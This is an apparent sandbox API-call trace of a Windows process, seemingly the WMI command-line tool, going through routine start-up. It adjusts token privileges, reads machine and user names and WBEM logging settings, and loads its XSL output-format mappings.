	[0250.119] CoCreateInstance (in: rclsid=0xff1b73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1b7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff222940 | out: ppv=0xff222940*=0x1e01390) returned 0x0
	[0250.139] GetCurrentProcess () returned 0xffffffffffffffff
	[0250.139] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1af800 | out: TokenHandle=0x1af800*=0xf4) returned 1
	[0250.139] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1af7f8 | out: TokenInformation=0x0, ReturnLength=0x1af7f8) returned 0
	[0250.140] malloc (_Size=0x118) returned 0x126400
	[0250.140] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x126400, TokenInformationLength=0x118, ReturnLength=0x1af7f8 | out: TokenInformation=0x126400, ReturnLength=0x1af7f8) returned 1
	[0250.140] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x126400*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1676338239, Attributes=0xe989), (Luid.LowPart=0x0, Luid.HighPart=1212320, Attributes=0x0), (Luid.LowPart=0x6d0061, Luid.HighPart=4587552, Attributes=0x6c0069), (Luid.LowPart=0x43005c, Luid.HighPart=7143535, Attributes=0x6f006d), (Luid.LowPart=0x690046, Luid.HighPart=6619244, Attributes=0x73), (Luid.LowPart=0x6d006d, Luid.HighPart=7209071, Attributes=0x720050))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0250.140] free (_Block=0x126400) 
	[0250.140] CloseHandle (hObject=0xf4) returned 1
	[0250.140] malloc (_Size=0x40) returned 0x126400
	[0250.140] malloc (_Size=0x40) returned 0x126450
	[0250.141] malloc (_Size=0x40) returned 0x1264a0
	[0250.141] malloc (_Size=0x20a) returned 0x1264f0
	[0250.141] GetSystemDirectoryW (in: lpBuffer=0x1264f0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0250.141] free (_Block=0x1264f0) 
	[0250.141] malloc (_Size=0x18) returned 0x35dfb0
	[0250.141] malloc (_Size=0x18) returned 0x127fa0
	[0250.141] malloc (_Size=0x18) returned 0x1264f0
	[0250.141] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0250.141] SysStringLen (param_1="\\kernel32.dll") returned 0xd
	[0250.142] free (_Block=0x35dfb0) 
	[0250.142] free (_Block=0x127fa0) 
	[0250.142] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76f20000
	[0250.142] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0250.142] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0250.143] FreeLibrary (hLibModule=0x76f20000) returned 1
	[0250.143] free (_Block=0x1264f0) 
	[0250.143] _vsnwprintf (in: _Buffer=0x1264a0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1af428 | out: _Buffer="ms_409") returned 6
	[0250.143] malloc (_Size=0x20) returned 0x127fa0
	[0250.143] GetComputerNameW (in: lpBuffer=0x127fa0, nSize=0x1af800 | out: lpBuffer="XDUWTFONO", nSize=0x1af800) returned 1
	[0250.144] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.144] malloc (_Size=0x14) returned 0x35dfb0
	[0250.144] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.144] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1af7f8 | out: lpNameBuffer=0x0, nSize=0x1af7f8) returned 0x7fffffde000
	[0250.146] GetLastError () returned 0xea
	[0250.146] malloc (_Size=0x40) returned 0x1264f0
	[0250.146] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1264f0, nSize=0x1af7f8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x1af7f8) returned 0x1
	[0250.293] lstrlenW (lpString="") returned 0
	[0250.293] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.293] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0250.298] lstrlenW (lpString=".") returned 1
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.298] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3
	[0250.298] lstrlenW (lpString="LOCALHOST") returned 9
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.298] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.298] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2
	[0250.298] free (_Block=0x35dfb0) 
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.298] malloc (_Size=0x14) returned 0x35dfb0
	[0250.298] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.299] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.299] malloc (_Size=0x14) returned 0x126540
	[0250.299] lstrlenW (lpString="XDUWTFONO") returned 9
	[0250.299] malloc (_Size=0x8) returned 0x126560
	[0250.299] malloc (_Size=0x18) returned 0x126580
	[0250.299] malloc (_Size=0x30) returned 0x1265a0
	[0250.299] malloc (_Size=0x18) returned 0x1265e0
	[0250.299] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0250.299] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0250.299] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0250.299] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0250.299] malloc (_Size=0x30) returned 0x126600
	[0250.299] malloc (_Size=0x18) returned 0x126640
	[0250.300] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0250.300] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0250.300] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0250.300] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0250.300] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0250.300] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0250.300] malloc (_Size=0x30) returned 0x126660
	[0250.300] malloc (_Size=0x18) returned 0x1266a0
	[0250.300] SysStringLen (param_1="DELEGATE") returned 0x8
	[0250.300] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0250.300] SysStringLen (param_1="DELEGATE") returned 0x8
	[0250.300] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0250.300] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0250.300] SysStringLen (param_1="DELEGATE") returned 0x8
	[0250.300] malloc (_Size=0x30) returned 0x1266c0
	[0250.300] malloc (_Size=0x18) returned 0x126700
	[0250.301] malloc (_Size=0x30) returned 0x126720
	[0250.301] malloc (_Size=0x18) returned 0x126760
	[0250.301] SysStringLen (param_1="NONE") returned 0x4
	[0250.301] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.301] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.301] SysStringLen (param_1="NONE") returned 0x4
	[0250.301] malloc (_Size=0x30) returned 0x126780
	[0250.301] malloc (_Size=0x18) returned 0x1267c0
	[0250.301] SysStringLen (param_1="CONNECT") returned 0x7
	[0250.301] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.301] malloc (_Size=0x30) returned 0x1267e0
	[0250.301] malloc (_Size=0x18) returned 0x126820
	[0250.301] SysStringLen (param_1="CALL") returned 0x4
	[0250.301] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.301] SysStringLen (param_1="CALL") returned 0x4
	[0250.301] SysStringLen (param_1="CONNECT") returned 0x7
	[0250.302] malloc (_Size=0x30) returned 0x126840
	[0250.302] malloc (_Size=0x18) returned 0x126880
	[0250.302] SysStringLen (param_1="PKT") returned 0x3
	[0250.302] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.302] SysStringLen (param_1="PKT") returned 0x3
	[0250.302] SysStringLen (param_1="NONE") returned 0x4
	[0250.302] SysStringLen (param_1="NONE") returned 0x4
	[0250.302] SysStringLen (param_1="PKT") returned 0x3
	[0250.302] malloc (_Size=0x30) returned 0x1268a0
	[0250.302] malloc (_Size=0x18) returned 0x1268e0
	[0250.302] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.302] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.302] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.302] SysStringLen (param_1="NONE") returned 0x4
	[0250.302] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.302] SysStringLen (param_1="PKT") returned 0x3
	[0250.302] SysStringLen (param_1="PKT") returned 0x3
	[0250.302] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.303] malloc (_Size=0x30) returned 0x128000
	[0250.303] malloc (_Size=0x18) returned 0x126d00
	[0250.303] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0250.303] SysStringLen (param_1="DEFAULT") returned 0x7
	[0250.303] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0250.303] SysStringLen (param_1="PKT") returned 0x3
	[0250.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0250.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.304] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0250.304] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0250.304] malloc (_Size=0x30) returned 0x128040
	[0250.304] malloc (_Size=0x40) returned 0x126d20
	[0250.304] malloc (_Size=0x20a) returned 0x128fd0
	[0250.304] GetSystemDirectoryW (in: lpBuffer=0x128fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0250.304] free (_Block=0x128fd0) 
	[0250.304] malloc (_Size=0x18) returned 0x126d70
	[0250.304] malloc (_Size=0x18) returned 0x126d90
	[0250.305] malloc (_Size=0x18) returned 0x126db0
	[0250.305] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0250.305] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0250.305] free (_Block=0x126d70) 
	[0250.305] free (_Block=0x126d90) 
	[0250.305] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32
	[0250.305] free (_Block=0x126db0) 
	[0250.305] malloc (_Size=0x18) returned 0x129000
	[0250.305] malloc (_Size=0x18) returned 0x129020
	[0250.306] malloc (_Size=0x18) returned 0x129040
	[0250.306] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19
	[0250.306] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0250.306] free (_Block=0x129000) 
	[0250.306] free (_Block=0x129020) 
	[0250.306] GetCurrentThreadId () returned 0x30d0
	[0250.306] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1af100 | out: phkResult=0x1af100*=0xf8) returned 0x0
	[0250.306] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1af150, lpcbData=0x1af0f0*=0x400 | out: lpType=0x0, lpData=0x1af150*=0x30, lpcbData=0x1af0f0*=0x4) returned 0x0
	[0250.307] _wcsicmp (_String1="0", _String2="1") returned -1
	[0250.307] _wcsicmp (_String1="0", _String2="2") returned -2
	[0250.307] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1af0f0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1af0f0*=0x42) returned 0x0
	[0250.307] malloc (_Size=0x86) returned 0x126d70
	[0250.307] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x126d70, lpcbData=0x1af0f0*=0x42 | out: lpType=0x0, lpData=0x126d70*=0x25, lpcbData=0x1af0f0*=0x42) returned 0x0
	[0250.307] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0250.307] malloc (_Size=0x42) returned 0x126e00
	[0250.307] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0250.307] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1af150, lpcbData=0x1af0f0*=0x400 | out: lpType=0x0, lpData=0x1af150*=0x36, lpcbData=0x1af0f0*=0xc) returned 0x0
	[0250.307] _wtol (_String="65536") returned 65536
	[0250.307] free (_Block=0x126d70) 
	[0250.307] RegCloseKey (hKey=0x0) returned 0x6
	[0250.307] CoCreateInstance (in: rclsid=0xff1b7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1b73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1af5f8 | out: ppv=0x1af5f8*=0x22971d0) returned 0x0
	[0250.690] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x22971d0, xmlSource=0x1af740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x126d70), isSuccessful=0x1af7b0 | out: isSuccessful=0x1af7b0*=0xffff) returned 0x0
	[0254.518] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x22971d0, DOMElement=0x1af5f0 | out: DOMElement=0x1af5f0) returned 0x0
	[0254.518] malloc (_Size=0x18) returned 0x129020
	[0254.519] free (_Block=0x129020) 
	[0254.520] malloc (_Size=0x18) returned 0x129020
	[0254.520] free (_Block=0x129020) 
	[0254.521] malloc (_Size=0x18) returned 0x129020
	[0254.521] malloc (_Size=0x18) returned 0x129000
	[0254.521] malloc (_Size=0x30) returned 0x128080
	[0254.521] malloc (_Size=0x18) returned 0x129060
	[0254.522] free (_Block=0x129060) 
	[0254.522] malloc (_Size=0x18) returned 0x129060
	[0254.522] malloc (_Size=0x18) returned 0x129080
	[0254.522] SysStringLen (param_1="VALUE") returned 0x5
	[0254.522] SysStringLen (param_1="TABLE") returned 0x5
	[0254.522] SysStringLen (param_1="TABLE") returned 0x5
	[0254.522] SysStringLen (param_1="VALUE") returned 0x5
	[0254.522] malloc (_Size=0x30) returned 0x1280c0
	[0254.522] malloc (_Size=0x18) returned 0x1290a0
	[0254.522] free (_Block=0x1290a0) 
	[0254.523] malloc (_Size=0x18) returned 0x1290a0
	[0254.523] malloc (_Size=0x18) returned 0x1290c0
	[0254.523] SysStringLen (param_1="LIST") returned 0x4
	[0254.523] SysStringLen (param_1="TABLE") returned 0x5
	[0254.523] malloc (_Size=0x30) returned 0x128100
	[0254.523] malloc (_Size=0x18) returned 0x1290e0
	[0254.523] free (_Block=0x1290e0) 
	[0254.523] malloc (_Size=0x18) returned 0x1290e0
	[0254.523] malloc (_Size=0x18) returned 0x129100
	[0254.524] SysStringLen (param_1="RAWXML") returned 0x6
	[0254.524] SysStringLen (param_1="TABLE") returned 0x5
	[0254.524] SysStringLen (param_1="RAWXML") returned 0x6
	[0254.524] SysStringLen (param_1="LIST") returned 0x4
	[0254.524] SysStringLen (param_1="LIST") returned 0x4
	[0254.524] SysStringLen (param_1="RAWXML") returned 0x6
	[0254.524] malloc (_Size=0x30) returned 0x128140
	[0254.524] malloc (_Size=0x18) returned 0x129120
	[0254.525] free (_Block=0x129120) 
	[0254.525] malloc (_Size=0x18) returned 0x129120
	[0254.525] malloc (_Size=0x18) returned 0x129140
	[0254.525] SysStringLen (param_1="HTABLE") returned 0x6
	[0254.525] SysStringLen (param_1="TABLE") returned 0x5
	[0254.525] SysStringLen (param_1="HTABLE") returned 0x6
	[0254.525] SysStringLen (param_1="LIST") returned 0x4
	[0254.525] malloc (_Size=0x30) returned 0x128180
	[0254.525] malloc (_Size=0x18) returned 0x129160
	[0254.526] free (_Block=0x129160) 
	[0254.526] malloc (_Size=0x18) returned 0x129160
	[0254.526] malloc (_Size=0x18) returned 0x129180
	[0254.526] SysStringLen (param_1="HFORM") returned 0x5
	[0254.526] SysStringLen (param_1="TABLE") returned 0x5
	[0254.526] SysStringLen (param_1="HFORM") returned 0x5
	[0254.526] SysStringLen (param_1="LIST") returned 0x4
	[0254.526] SysStringLen (param_1="HFORM") returned 0x5
	[0254.526] SysStringLen (param_1="HTABLE") returned 0x6
	[0254.526] malloc (_Size=0x30) returned 0x1281c0
	[0254.527] malloc (_Size=0x18) returned 0x1291a0
	[0254.527] free (_Block=0x1291a0) 
	[0254.527] malloc (_Size=0x18) returned 0x1291a0
	[0254.527] malloc (_Size=0x18) returned 0x1291c0
	[0254.527] SysStringLen (param_1="XML") returned 0x3
	[0254.527] SysStringLen (param_1="TABLE") returned 0x5
	[0254.527] SysStringLen (param_1="XML") returned 0x3
	[0254.527] SysStringLen (param_1="VALUE") returned 0x5
	[0254.527] SysStringLen (param_1="VALUE") returned 0x5
	[0254.527] SysStringLen (param_1="XML") returned 0x3
	[0254.527] malloc (_Size=0x30) returned 0x128200
	[0254.528] malloc (_Size=0x18) returned 0x1291e0
	[0254.528] free (_Block=0x1291e0) 
	[0254.528] malloc (_Size=0x18) returned 0x1291e0
	[0254.528] malloc (_Size=0x18) returned 0x129200
	[0254.528] SysStringLen (param_1="MOF") returned 0x3
	[0254.528] SysStringLen (param_1="TABLE") returned 0x5
	[0254.528] SysStringLen (param_1="MOF") returned 0x3
	[0254.528] SysStringLen (param_1="LIST") returned 0x4
	[0254.528] SysStringLen (param_1="MOF") returned 0x3
	[0254.528] SysStringLen (param_1="RAWXML") returned 0x6
	[0254.529] SysStringLen (param_1="LIST") returned 0x4
	[0254.529] SysStringLen (param_1="MOF") returned 0x3
	[0254.529] malloc (_Size=0x30) returned 0x128240
	[0254.529] malloc (_Size=0x18) returned 0x129220
	[0254.529] free (_Block=0x129220) 
	[0254.529] malloc (_Size=0x18) returned 0x129220
	[0254.530] malloc (_Size=0x18) returned 0x129240
	[0254.530] SysStringLen (param_1="CSV") returned 0x3
	[0254.530] SysStringLen (param_1="TABLE") returned 0x5
	[0254.530] SysStringLen (param_1="CSV") returned 0x3
	[0254.530] SysStringLen (param_1="LIST") returned 0x4
	[0254.530] SysStringLen (param_1="CSV") returned 0x3
	[0254.530] SysStringLen (param_1="HTABLE") returned 0x6
	[0254.530] SysStringLen (param_1="CSV") returned 0x3
	[0254.530] SysStringLen (param_1="HFORM") returned 0x5
	[0254.530] malloc (_Size=0x30) returned 0x128280
	[0254.530] malloc (_Size=0x18) returned 0x129260
	[0254.531] free (_Block=0x129260) 
	[0254.531] malloc (_Size=0x18) returned 0x129260
	[0254.531] malloc (_Size=0x18) returned 0x129280
	[0254.531] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.531] SysStringLen (param_1="TABLE") returned 0x5
	[0254.531] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.531] SysStringLen (param_1="VALUE") returned 0x5
	[0254.531] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.531] SysStringLen (param_1="XML") returned 0x3
	[0254.531] SysStringLen (param_1="XML") returned 0x3
	[0254.531] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.531] malloc (_Size=0x30) returned 0x1282c0
	[0254.532] malloc (_Size=0x18) returned 0x1292a0
	[0254.532] free (_Block=0x1292a0) 
	[0254.532] malloc (_Size=0x18) returned 0x1292a0
	[0254.532] malloc (_Size=0x18) returned 0x1292c0
	[0254.532] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.532] SysStringLen (param_1="TABLE") returned 0x5
	[0254.532] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.532] SysStringLen (param_1="XML") returned 0x3
	[0254.532] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.532] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.532] SysStringLen (param_1="XML") returned 0x3
	[0254.532] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.532] malloc (_Size=0x30) returned 0x128300
	[0254.533] malloc (_Size=0x18) returned 0x1292e0
	[0254.533] free (_Block=0x1292e0) 
	[0254.533] malloc (_Size=0x18) returned 0x1292e0
	[0254.533] malloc (_Size=0x18) returned 0x129300
	[0254.533] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.533] SysStringLen (param_1="TABLE") returned 0x5
	[0254.533] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.534] SysStringLen (param_1="XML") returned 0x3
	[0254.534] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.534] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.534] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.534] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.534] malloc (_Size=0x30) returned 0x128340
	[0254.534] malloc (_Size=0x18) returned 0x129320
	[0254.534] free (_Block=0x129320) 
	[0254.534] malloc (_Size=0x18) returned 0x129320
	[0254.534] malloc (_Size=0x18) returned 0x129340
	[0254.535] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.535] SysStringLen (param_1="TABLE") returned 0x5
	[0254.535] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.535] SysStringLen (param_1="XML") returned 0x3
	[0254.535] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.535] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.535] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.535] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.535] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.535] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.535] malloc (_Size=0x30) returned 0x128380
	[0254.535] malloc (_Size=0x18) returned 0x129360
	[0254.536] free (_Block=0x129360) 
	[0254.536] malloc (_Size=0x18) returned 0x129360
	[0254.536] malloc (_Size=0x18) returned 0x129380
	[0254.536] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.536] SysStringLen (param_1="TABLE") returned 0x5
	[0254.536] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.536] SysStringLen (param_1="XML") returned 0x3
	[0254.536] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.536] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.536] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.536] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.536] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.536] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.536] malloc (_Size=0x30) returned 0x1283c0
	[0254.537] malloc (_Size=0x18) returned 0x1293a0
	[0254.537] free (_Block=0x1293a0) 
	[0254.537] malloc (_Size=0x18) returned 0x1293a0
	[0254.537] malloc (_Size=0x18) returned 0x1293c0
	[0254.537] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.537] SysStringLen (param_1="TABLE") returned 0x5
	[0254.537] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.537] SysStringLen (param_1="XML") returned 0x3
	[0254.537] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.537] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.537] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.538] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.538] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.538] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.538] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.538] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0254.538] malloc (_Size=0x30) returned 0x128400
	[0254.538] malloc (_Size=0x18) returned 0x1293e0
	[0254.538] free (_Block=0x1293e0) 
	[0254.539] malloc (_Size=0x18) returned 0x1293e0
	[0254.539] malloc (_Size=0x18) returned 0x129400
	[0254.539] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.539] SysStringLen (param_1="TABLE") returned 0x5
	[0254.539] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.539] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.539] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.539] SysStringLen (param_1="XML") returned 0x3
	[0254.539] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.539] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.539] SysStringLen (param_1="XML") returned 0x3
	[0254.539] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.540] malloc (_Size=0x30) returned 0x128440
	[0254.540] malloc (_Size=0x18) returned 0x129420
	[0254.540] free (_Block=0x129420) 
	[0254.540] malloc (_Size=0x18) returned 0x129420
	[0254.540] malloc (_Size=0x18) returned 0x129440
	[0254.540] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.540] SysStringLen (param_1="TABLE") returned 0x5
	[0254.540] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.541] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.541] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.541] SysStringLen (param_1="XML") returned 0x3
	[0254.541] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.541] SysStringLen (param_1="texttablewsys") returned 0xd
	[0254.541] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.541] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0254.541] SysStringLen (param_1="XML") returned 0x3
	[0254.541] SysStringLen (param_1="htable-sortby") returned 0xd
	[0254.541] malloc (_Size=0x30) returned 0x128480
	[0254.541] malloc (_Size=0x18) returned 0x129460
	[0254.541] free (_Block=0x129460) 
	[0254.542] malloc (_Size=0x18) returned 0x129460
	[0254.542] malloc (_Size=0x18) returned 0x129480
	[0254.542] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.542] SysStringLen (param_1="TABLE") returned 0x5
	[0254.542] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.542] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.542] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.542] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.542] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.542] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.542] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.542] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.542] malloc (_Size=0x30) returned 0x1284c0
	[0254.543] malloc (_Size=0x18) returned 0x1294a0
	[0254.543] free (_Block=0x1294a0) 
	[0254.543] malloc (_Size=0x18) returned 0x1294a0
	[0254.543] malloc (_Size=0x18) returned 0x1294c0
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0254.543] SysStringLen (param_1="TABLE") returned 0x5
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
